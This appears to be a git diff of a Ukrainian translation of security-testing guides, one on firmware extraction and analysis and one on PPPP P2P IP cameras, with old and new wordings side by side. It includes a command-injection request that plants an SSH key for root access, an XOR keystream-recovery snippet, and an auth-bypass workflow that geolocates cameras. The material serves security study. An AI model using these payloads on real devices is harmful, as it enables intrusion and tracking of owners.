Для цього незамінні інструменти open-source intelligence (OSINT), а також аналіз будь-яких доступних компонентів open-source програмного забезпечення вручну та автоматизованими методами. Інструменти, такі як [Coverity Scan](https://scan.coverity.com) та [Semmles LGTM](https://lgtm.com/#explore), пропонують безкоштовний статичний аналіз, який можна використовувати для виявлення потенційних проблем.
## **Acquiring the Firmware**
## **Отримання прошивки**
Отримання прошивки можна здійснити різними способами, кожен з яких має свій рівень складності:
- **Безпосередньо** від джерела (розробників, виробників)
- **Створення** її з наданих інструкцій
- **Безпосередньо** від джерела (розробники, виробники)
- **Збираючи** її за наданими інструкціями
- **Завантаження** з офіційних сайтів підтримки
- Використання **Google dork** запитів для знаходження розміщених файлів прошивки
- Доступ до **хмарного сховища** безпосередньо, з інструментами, такими як [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Перехоплення **оновлень** за допомогою технік "людина посередині"
- **Витягування** з пристрою через з'єднання, такі як **UART**, **JTAG** або **PICit**
- **Сниффінг** запитів на оновлення в межах зв'язку пристрою
- Виявлення та використання **жорстко закодованих кінцевих точок оновлень**
- **Скидання** з завантажувача або мережі
- **Видалення та читання** чіпа пам'яті, коли всі інші способи не спрацювали, використовуючи відповідні апаратні інструменти
- Використовуючи запити **Google dork** для пошуку розміщених файлів прошивки
- Прямий доступ до **cloud storage**, з використанням інструментів на кшталт [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Перехоплення **updates** за допомогою технік man-in-the-middle
- **Екстракція** з пристрою через роз'єми, такі як **UART**, **JTAG** або **PICit**
- **Sniffing** запитів оновлення в комунікаціях пристрою
- Виявлення та використання **hardcoded update endpoints**
- **Dumping** з завантажувача або мережі
- **Витяг і читання** чіпа пам'яті, коли інші способи не допомагають, з використанням відповідних апаратних інструментів
## Analyzing the firmware
## Аналіз прошивки
Тепер, коли ви **маєте прошивку**, вам потрібно витягти інформацію про неї, щоб знати, як з нею працювати. Різні інструменти, які ви можете використовувати для цього:
Тепер, коли ви **маєте прошивку**, потрібно витягти з неї інформацію, щоб знати, як працювати з нею. Різні інструменти, які можна для цього використовувати:
```bash
file <bin>
strings -n8 <bin>
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Якщо ви не знайдете багато з цими інструментами, перевірте **ентропію** зображення за допомогою `binwalk -E <bin>`, якщо ентропія низька, то, ймовірно, воно не зашифроване. Якщо ентропія висока, ймовірно, воно зашифроване (або стиснуте якимось чином).
Якщо ви не знайдете багато за допомогою цих інструментів, перевірте **ентропію** образу за допомогою `binwalk -E <bin>`: якщо ентропія низька — швидше за все він не зашифрований. Якщо ентропія висока — ймовірно зашифрований (або якось стиснутий).
Крім того, ви можете використовувати ці інструменти для витягання **файлів, вбудованих у firmware**:
Крім того, ви можете використовувати ці інструменти для витягування **файлів, вбудованих у прошивку**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Або [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)), щоб перевірити файл.
Або [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) щоб переглянути файл.
### Отримання файлової системи
З попередніми коментованими інструментами, такими як `binwalk -ev <bin>`, ви повинні були змогти **витягти файлову систему**.\
Binwalk зазвичай витягує її в **папку, названу на честь типу файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
За допомогою згаданих вище інструментів, таких як `binwalk -ev <bin>`, ви повинні були змогти **витягти файлову систему**.\
Binwalk зазвичай розпаковує її всередині **папки з назвою типу файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Ручне витягування файлової системи
#### Ручне вилучення файлової системи
Іноді binwalk **не має магічного байта файлової системи у своїх сигнатурах**. У цих випадках використовуйте binwalk, щоб **знайти зсув файлової системи та вирізати стиснуту файлову систему** з бінарного файлу та **вручну витягти** файлову систему відповідно до її типу, використовуючи наведені нижче кроки.
Іноді binwalk **не матиме magic byte файлової системи у своїх сигнатурах**. У таких випадках використовуйте binwalk, щоб **знайти offset файлової системи та carve стиснену файлову систему** з бінарного файлу і **вручну витягнути** файлову систему відповідно до її типу, використовуючи кроки нижче.
```
$ binwalk DIR850L_REVB.bin
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Запустіть наступну **dd команду**, щоб вирізати файлову систему Squashfs.
Запустіть наступну **dd command** carving the Squashfs filesystem.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -93,17 +100,17 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Альтернативно, також можна виконати наступну команду.
Як альтернативу, можна також виконати наступну команду.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Для squashfs (використовується в наведеному вище прикладі)
- Для squashfs (використаного в прикладі вище)
`$ unsquashfs dir.squashfs`
Файли будуть у директорії "`squashfs-root`" після цього.
- Файли архіву CPIO
- CPIO архіви
`$ cpio -ivd --no-absolute-filenames -F <bin>`
@ -117,13 +124,13 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
`$ ubidump.py <bin>`
## Аналіз ПЗ
## Аналіз прошивки
Після отримання ПЗ важливо розібрати його для розуміння його структури та потенційних вразливостей. Цей процес передбачає використання різних інструментів для аналізу та витягування цінних даних з образу ПЗ.
Після отримання прошивки важливо її розібрати, щоб зрозуміти структуру та потенційні вразливості. Цей процес включає використання різних інструментів для аналізу та вилучення корисних даних із образу прошивки.
### Інструменти початкового аналізу
Набір команд надається для початкової перевірки бінарного файлу (який називається `<bin>`). Ці команди допомагають у визначенні типів файлів, витягуванні рядків, аналізі бінарних даних та розумінні деталей розділів і файлових систем:
Нижче наведено набір команд для початкового огляду бінарного файлу (позначеного як `<bin>`). Ці команди допомагають визначити типи файлів, витягнути рядки, проаналізувати бінарні дані та зрозуміти деталі розділів і файлових систем:
```bash
file <bin>
strings -n8 <bin>
@ -132,141 +139,141 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія може свідчити про можливе шифрування або стиснення.
Щоб оцінити стан шифрування образу, перевіряють **entropy** за допомогою `binwalk -E <bin>`. Низька **entropy** вказує на відсутність шифрування, тоді як висока — на можливе шифрування або стиск.
Для витягування **вбудованих файлів** рекомендуються інструменти та ресурси, такі як документація **file-data-carving-recovery-tools** та **binvis.io** для перевірки файлів.
Для витягнення **embedded files** рекомендуються інструменти та ресурси, як-от документація **file-data-carving-recovery-tools** та **binvis.io** для інспекції файлів.
### Витягування файлової системи
### Витягнення файлової системи
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягти файлову систему, часто в каталог, названий на честь типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не може розпізнати тип файлової системи через відсутні магічні байти, необхідно виконати ручне витягування. Це передбачає використання `binwalk` для визначення зсуву файлової системи, а потім команди `dd` для вирізання файлової системи:
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягти файлову систему, часто в директорію, названу за типом файлової системи (наприклад, squashfs, ubifs). Однак коли **binwalk** не може розпізнати тип файлової системи через відсутність magic bytes, потрібне ручне витягнення. Це передбачає використання `binwalk` для знаходження зсуву файлової системи, після чого командою `dd` вирізають файлову систему:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Після цього, в залежності від типу файлової системи (наприклад, squashfs, cpio, jffs2, ubifs), використовуються різні команди для ручного витягування вмісту.
Після цього, залежно від типу файлової системи (наприклад, squashfs, cpio, jffs2, ubifs), для ручного витягання вмісту використовуються різні команди.
### Аналіз файлової системи
### Filesystem Analysis
Після витягування файлової системи починається пошук вразливостей безпеки. Увага приділяється небезпечним мережевим демонів, жорстко закодованим обліковим даним, API-інтерфейсам, функціональності серверів оновлень, некомпільованому коду, скриптам запуску та скомпільованим двійковим файлам для офлайн-аналізу.
Після витягнення файлової системи починається пошук вразливостей. Увага звертається на ненадійні мережеві демони, жорстко вбудовані облікові дані, API endpoints, функції сервера оновлень, нескомпільований код, скрипти запуску та скомпільовані бінарні файли для офлайн-аналізу.
**Ключові місця** та **елементи** для перевірки включають:
**Ключові локації** та **елементи** для перевірки включають:
- **etc/shadow** та **etc/passwd** для облікових даних користувачів
- SSL сертифікати та ключі в **etc/ssl**
- Конфігураційні та скриптові файли на предмет потенційних вразливостей
- Вбудовані двійкові файли для подальшого аналізу
- Загальні веб-сервери та двійкові файли IoT пристроїв
- **etc/shadow** and **etc/passwd** для облікових даних користувачів
- SSL-сертифікати та ключі в **etc/ssl**
- Конфігураційні файли та скрипти на наявність вразливостей
- Вбудовані бінарні файли для подальшого аналізу
- Поширені веб-сервери та бінарники IoT-пристроїв
Кілька інструментів допомагають виявити чутливу інформацію та вразливості в файловій системі:
Декілька інструментів допомагають виявляти чутливу інформацію та вразливості у файловій системі:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) та [**Firmwalker**](https://github.com/craigz28/firmwalker) для пошуку чутливої інформації
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) для комплексного аналізу прошивок
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) та [**EMBA**](https://github.com/e-m-b-a/emba) для статичного та динамічного аналізу
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) and [**Firmwalker**](https://github.com/craigz28/firmwalker) for sensitive information search
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) for comprehensive firmware analysis
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), and [**EMBA**](https://github.com/e-m-b-a/emba) for static and dynamic analysis
### Перевірки безпеки скомпільованих двійкових файлів
### Security Checks on Compiled Binaries
Як вихідний код, так і скомпільовані двійкові файли, знайдені у файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для Unix двійкових файлів та **PESecurity** для Windows двійкових файлів, допомагають виявити незахищені двійкові файли, які можуть бути використані в атаках.
Як вихідний код, так і скомпільовані бінарні файли, знайдені у файловій системі, повинні бути ретельно перевірені на наявність вразливостей. Інструменти на кшталт **checksec.sh** для Unix-бінарників та **PESecurity** для Windows-бінарів допомагають виявити незахищені бінарні файли, які можуть бути використані для експлуатації.
## Емуляція прошивки для динамічного аналізу
## Emulating Firmware for Dynamic Analysis
Процес емулювання прошивки дозволяє **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
Процес емулювання прошивки дозволяє виконувати **dynamic analysis** як роботи пристрою в цілому, так і окремої програми. Цей підхід може стикатися з проблемами, пов'язаними з апаратними або архітектурними залежностями, але перенесення root filesystem або окремих бінарників на пристрій з відповідною архітектурою та порядком байтів, наприклад Raspberry Pi, або на готову віртуальну машину, може полегшити подальші тести.
### Емуляція окремих двійкових файлів
### Emulating Individual Binaries
Для аналізу окремих програм важливо визначити порядок байтів програми та архітектуру ЦП.
Для дослідження окремих програм важливо визначити порядок байтів (endianness) програми та CPU-архітектуру.
#### Приклад з архітектурою MIPS
#### Example with MIPS Architecture
Щоб емулювати двійковий файл архітектури MIPS, можна використовувати команду:
Щоб емулювати бінарний файл архітектури MIPS, можна використати команду:
```bash
file ./squashfs-root/bin/busybox
```
І щоб встановити необхідні інструменти емуляції:
А для встановлення необхідних інструментів емуляції:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Для MIPS (big-endian) використовується `qemu-mips`, а для little-endian бінарних файлів вибір буде `qemu-mipsel`.
Для MIPS (big-endian), `qemu-mips` використовується, а для little-endian бінарників вибір падає на `qemu-mipsel`.
#### Емуляція архітектури ARM
Для ARM бінарних файлів процес подібний, з використанням емулятора `qemu-arm`.
Для ARM бінарників процес аналогічний — для емулювання використовується `qemu-arm`.
### Емуляція повної системи
### Повна емуляція системи
Інструменти, такі як [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) та інші, полегшують повну емуляцію прошивки, автоматизуючи процес і допомагаючи в динамічному аналізі.
Інструменти на кшталт [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) та інші полегшують повну емуляцію firmware, автоматизують процес і допомагають у dynamic analysis.
## Динамічний аналіз на практиці
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз має повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдорів.
На цьому етапі для аналізу використовується або реальний пристрій, або емульоване середовище. Важливо зберегти shell-доступ до OS і filesystem. Емуляція може не ідеально відтворювати взаємодію з апаратурою, тому іноді потрібно перезапускати емуляцію. Аналіз має повторно перевіряти filesystem, досліджувати відкриті webpages та мережеві сервіси, а також шукати вразливості bootloader'а. Тести цілісності firmware критичні для виявлення потенційних backdoor вразливостей.
## Техніки аналізу в реальному часі
## Техніки runtime-аналізу
Аналіз в реальному часі передбачає взаємодію з процесом або бінарним файлом у його операційному середовищі, використовуючи інструменти, такі як gdb-multiarch, Frida та Ghidra для встановлення точок зупинки та виявлення вразливостей через фуззинг та інші техніки.
Аналіз під час виконання передбачає взаємодію з процесом або бінарником у його робочому середовищі, використовуючи інструменти на кшталт gdb-multiarch, Frida та Ghidra для встановлення breakpoints і виявлення вразливостей через fuzzing та інші техніки.
## Експлуатація бінарних файлів та доказ концепції
## Binary Exploitation and Proof-of-Concept
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного часу виконання в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на низькорівневих мовах. Захисти runtime бінарників в embedded-системах рідкісні, але коли вони присутні, можуть знадобитися техніки на кшталт Return Oriented Programming (ROP).
## Підготовлені операційні системи для аналізу прошивки
## Попередньо підготовлені операційні системи для аналізу firmware
Операційні системи, такі як [AttifyOS](https://github.com/adi0x90/attifyos) та [EmbedOS](https://github.com/scriptingxss/EmbedOS), надають попередньо налаштовані середовища для тестування безпеки прошивки, оснащені необхідними інструментами.
ОС на кшталт [AttifyOS](https://github.com/adi0x90/attifyos) та [EmbedOS](https://github.com/scriptingxss/EmbedOS) забезпечують попередньо налаштоване середовище для firmware security testing, укомплектоване необхідними інструментами.
## Підготовлені ОС для аналізу прошивки
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS - це дистрибутив, призначений для допомоги у проведенні оцінки безпеки та тестування на проникнення пристроїв Інтернету речей (IoT). Він економить ваш час, надаючи попередньо налаштоване середовище з усіма необхідними інструментами.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для тестування безпеки вбудованих систем на базі Ubuntu 18.04, попередньо завантажена з інструментами для тестування безпеки прошивки.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS — дистрибутив, призначений для допомоги у виконанні security assessment та penetration testing пристроїв Internet of Things (IoT). Він економить багато часу, надаючи попередньо налаштоване середовище з усіма необхідними інструментами.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для embedded security testing на базі Ubuntu 18.04, попередньо завантажена інструментами для firmware security testing.
## Атаки на зниження версії прошивки та небезпечні механізми оновлення
## Атаки пониження версії firmware та ненадійні механізми оновлення
Навіть коли постачальник реалізує перевірки криптографічного підпису для образів прошивки, **захист від зниження версії (downgrade) часто пропускається**. Коли завантажувач або відновлювальний завантажувач лише перевіряє підпис з вбудованим відкритим ключем, але не порівнює *версію* (або монотонний лічильник) образу, що записується, зловмисник може легітимно встановити **стару, вразливу прошивку, яка все ще має дійсний підпис** і таким чином повторно ввести виправлені вразливості.
Навіть якщо виробник реалізує перевірку криптографічної підпису для образів firmware, **захист від version rollback (downgrade) часто відсутній**. Якщо boot- або recovery-loader лише перевіряє підпис за вбудованим public key, але не порівнює *version* (або монотонний лічильник) образу, який прошивається, атакуючий може легітимно встановити **старіший уразливий firmware, який все ще має дійсну підпис**, і таким чином повторно ввести виправлені вразливості.
Типовий робочий процес атаки:
Типовий сценарій атаки:
1. **Отримати старий підписаний образ**
* Завантажити його з публічного порталу завантаження постачальника, CDN або сайту підтримки.
* Витягти його з супутніх мобільних/десктопних додатків (наприклад, всередині Android APK під `assets/firmware/`).
* Отримати його з сторонніх репозиторіїв, таких як VirusTotal, архіви Інтернету, форуми тощо.
2. **Завантажити або надати образ пристрою** через будь-який відкритий канал оновлення:
* Веб-інтерфейс, API мобільного додатку, USB, TFTP, MQTT тощо.
* Багато споживчих IoT-пристроїв відкривають *неаутентифіковані* HTTP(S) кінцеві точки, які приймають Base64-кодовані бінарні файли прошивки, декодують їх на сервері та запускають відновлення/оновлення.
3. Після зниження версії експлуатувати вразливість, яка була виправлена в новішому випуску (наприклад, фільтр ін'єкції команд, який був доданий пізніше).
4. За бажанням перепрошити останній образ або вимкнути оновлення, щоб уникнути виявлення після отримання стійкості.
1. **Отримати старіший підписаний образ**
* Скачати його з публічного порталу завантажень виробника, CDN або сайту підтримки.
* Витягти його з супровідних мобільних/десктопних додатків (наприклад, всередині Android APK у `assets/firmware/`).
* Отримати його з репозиторіїв третіх сторін, таких як VirusTotal, інтернет-архіви, форуми тощо.
2. **Завантажити або подати образ на пристрій** через будь-який відкритий канал оновлення:
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
* Багато consumer IoT пристроїв виставляють *unauthenticated* HTTP(S) endpoints, які приймають Base64-encoded firmware blobs, декодують їх на сервері та ініціюють recovery/upgrade.
3. Після downgrade експлуатувати вразливість, яку було виправлено в новішому релізі (наприклад, фільтр від command-injection, який додали пізніше).
4. За бажанням прошити назад останній образ або вимкнути оновлення, щоб уникнути виявлення після отримання персистенції.
### Приклад: Ін'єкція команд після зниження версії
### Приклад: Command Injection після downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
У вразливому (зниженому) прошивці параметр `md5` безпосередньо конкатенується в команду оболонки без санітизації, що дозволяє ін'єкцію довільних команд (тут увімкнення доступу до root через SSH за допомогою ключа). Пізніші версії прошивки впровадили базовий фільтр символів, але відсутність захисту від зниження версії робить виправлення недійсним.
У вразливій (пониженій) прошивці параметр `md5` конкатенується безпосередньо в shell-команду без санітизації, що дозволяє ін'єкцію довільних команд (here enabling SSH key-based root access). У наступних версіях прошивки було введено базовий фільтр символів, але відсутність захисту від пониження версії робить це виправлення марним.
### Витягування прошивки з мобільних додатків
### Отримання прошивки з мобільних додатків
Багато постачальників об'єднують повні образи прошивки всередині своїх супутникових мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/Wi-Fi. Ці пакети зазвичай зберігаються незашифрованими в APK/APEX під шляхами, такими як `assets/fw/` або `res/raw/`. Інструменти, такі як `apktool`, `ghidra` або навіть простий `unzip`, дозволяють вам витягувати підписані образи, не торкаючись фізичного обладнання.
Багато виробників упаковують повні образи прошивки всередині своїх супутніх мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/WiFi. Ці пакети зазвичай зберігаються незашифрованими в APK/APEX за шляхами на кшталт `assets/fw/` або `res/raw/`. Інструменти на кшталт `apktool`, `ghidra` або навіть простий `unzip` дозволяють витягти підписані образи без взаємодії з фізичним обладнанням.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Checklist for Assessing Update Logic
### Контрольний список для оцінки логіки оновлень
* Чи адекватно захищений транспорт/автентифікація *endpoint оновлення* (TLS + автентифікація)?
* Чи порівнює пристрій **номери версій** або **монотонний анти-ролбек лічильник** перед прошивкою?
* Чи перевіряється образ у безпечному завантажувальному ланцюзі (наприклад, підписи перевіряються кодом ROM)?
* Чи виконує код користувацького простору додаткові перевірки (наприклад, дозволена карта розділів, номер моделі)?
* Чи *часткові* або *резервні* потоки оновлення повторно використовують ту ж логіку валідації?
* Чи належним чином захищено транспорт/аутентифікацію *endpoint оновлення* (TLS + authentication)?
* Чи порівнює пристрій **номери версій** або **монотонний anti-rollback лічильник** перед прошивкою?
* Чи перевіряється образ у межах secure boot chain (наприклад, підписи перевіряються ROM code)?
* Чи виконує userland code додаткові перевірки коректності (наприклад, allowed partition map, model number)?
* Чи повторно використовують *partial* або *backup* потоки оновлення ту саму логіку валідації?
> 💡 Якщо щось із вищезазначеного відсутнє, платформа, ймовірно, вразлива до атак ролбеку.
> 💡 Якщо будь-який із наведеного відсутній, платформа, ймовірно, вразлива до rollback-атак.
## Vulnerable firmware to practice
## Вразлива прошивка для практики
Щоб практикуватися у виявленні вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
Для практики пошуку вразливостей у прошивці використовуйте наступні проекти вразливої прошивки як відправну точку.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Проект Damn Vulnerable Router Firmware
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
@ -277,13 +284,13 @@ firmware_v1.3.11.490_signed.bin
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## References
## Посилання
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## Trainning and Cert
## Тренінги та сертифікація
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
{{#include ../banners/hacktricks-training.md}}
## Огляд
PPPP (a.k.a. “P2P”) — пропрієтарний стек підключення пристроїв від CS2 Network, що широко вбудований у недорогі IP-камери та інші IoT-пристрої. Він надає rendezvous, NAT traversal (UDP hole punching), прикладний «reliable» stream поверх UDP та схему адресації на основі ID, що дозволяє мобільному/десктопному app зв’язуватися з пристроями будь-де в Інтернеті, знаючи лише device ID.
Ключові риси, важливі для атакуючих:
- Пристрої реєструються на трьох vendor-operated rendezvous servers для кожного префіксу ID. Клієнти запитують ті самі сервери, щоб дізнатися зовнішню/relay-адресу пристрою, а потім намагаються виконати UDP hole punching. Існує relay fallback.
- За замовчуванням server listener доступний по UDP/32100. Мінімальний «hello» probe достатній для fingerprint серверів і деяких пристроїв.
- Існують optional blanket cipher та спеціальний режим «CRCEnc», але вони слабкі за дизайном і зазвичай вимкнені в популярних екосистемах (наприклад, LookCam).
- Control plane зазвичай — JSON commands поверх PPPP stream і часто страждає від missing auth та memory-safety bugs.
Типовий формат device ID (сімейство LookCam): PREFIX-######-CCCCC, скорочений в apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Спостережувані префікси: BHCC ("hekai"), FHBB та GHBB ("mykj").
## Discovery and Enumeration
- Internet exposure: багато PPPP super-nodes відповідають на 32100/UDP probe. Known plaintext та error-string responses роблять їх легкими для ідентифікації в traffic captures та за допомогою Internet scanners.
- LAN discovery: пристрої часто відповідають на unencrypted search на локальному broadcast. Використовуйте скрипт Paul Marrapese для enumeration:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Примітки:
- Apps вбудовують «init strings», що містять обфусцовані списки IP серверів і протокольні ключі. Ці рядки тривіально витягуються з Android/iOS/Windows клієнтів і часто повторно використовуються в багатьох лінійках продуктів.
## NAT Traversal and Transport
- Rendezvous servers дізнаються public mapping пристрою через періодичні keepalives від пристрою. Клієнти запитують сервери про mapping і потім намагаються встановити прямі UDP flows з використанням hole punching. Якщо NAT traversal не вдається, трафік ретранслюється призначеними PPPP relay hosts.
- Прикладний «stream» реалізує власну логіку ACK/retx поверх UDP; retransmission loops дублюються у багатьох code paths і можуть затопити lossy links.
## Weak “Encryption” and Key Recovery
У стеку CS2 існують два неефективні механізми:
1) Blanket cipher (optional) P2P_Proprietary_Encrypt
- Зазвичай вимкнений OEM-виробниками, які використовують LookCam.
- App-side «init string» постачає матеріал ключа, який зводиться до ефективного 4-байтного ключа (~2^32 простір).
- Практичний known-plaintext: перші 4 байти MSG_HELLO до UDP/32100 відомі і рівні F1 00 00 00. Спостереження одного зашифрованого handshake дозволяє швидко відновити ключ або підтвердити його.
- Деякі контрольні повідомлення (наприклад, MSG_REPORT_SESSION_READY) завжди шифруються з library-hardcoded key, що спільно використовується між apps.
2) Registration “encryption” PPPP_CRCEnc
- Незважаючи на назву, це не CRC. Це фіксований повторюваний XOR keystream з 4-байтовою padding check (без автентифікації).
- Мережі LookCam зазвичай використовують CRCEnc лише для реєстрації device → server (MSG_DEV_LGN_CRC). Більшість іншого трафіку залишається plaintext.
Просте відновлення keystream для PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Невідповідність моделі загроз: матеріали CS2 зосереджені на запобіганні DoS через фейкові реєстрації пристроїв, а не на конфіденційності. Це пояснює вибіркове “encryption” самої реєстрації, тоді як відео/керування залишаються опційними або у cleartext. Історичні PPPP сервери не мають rate limiting, що дозволяє brute-force/abuse у великому масштабі.
## Контрольна площина: JSON-команди and Auth Bypass
Багато прошивок PPPP-камер обмінюються JSON-повідомленнями після встановлення сесії. Приклад “login”, який надсилає клієнт:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Common vulnerability in LookCam-class devices:
- Прошивка ігнорує як LoginDev flow, так і поля pwd у кожному запиті (CWE-287, CWE-306). Пристрій приймає операційні команди без перевірки pwd.
- Exploitation: не надсилати LoginDev або ігнорувати його результат; надсилати команди безпосередньо.
Useful commands observed:
- searchWiFiList викликає iwlist; залишає необроблений вивід у /tmp/wifi_scan.txt.
- DownloadFile примітив читання довільного шляху без обмежень.
Workflow to deanonymize location via transient artifacts:
1) Надіслати {"cmd":"searchWiFiList"}.
2) Прочитати /tmp/wifi_scan.txt via DownloadFile.
3) Надіслати BSSID MACs до geolocation API (наприклад, Google Geolocation API), щоб локалізувати камеру з точністю до десятків метрів.
## Memory-Safety to RCE on Embedded Firmware
Типовий небезпечний патерн (псевдокод з handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Тригер: будь-який рядок cmd > 255 байт спричиняє stack buffer overflow (CWE-120/121).
- Захист: немає stack canary; DEP/NX і ASLR зазвичай вимкнені в цих збірках.
- Наслідок: можлива пряма реалізація single-stage shellcode або класичний ROP/ret2libc на CPU пристрою (наприклад, ARM) для повної компрометації і LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Зловживання хмарним сховищем (HTTP, Device-ID only)
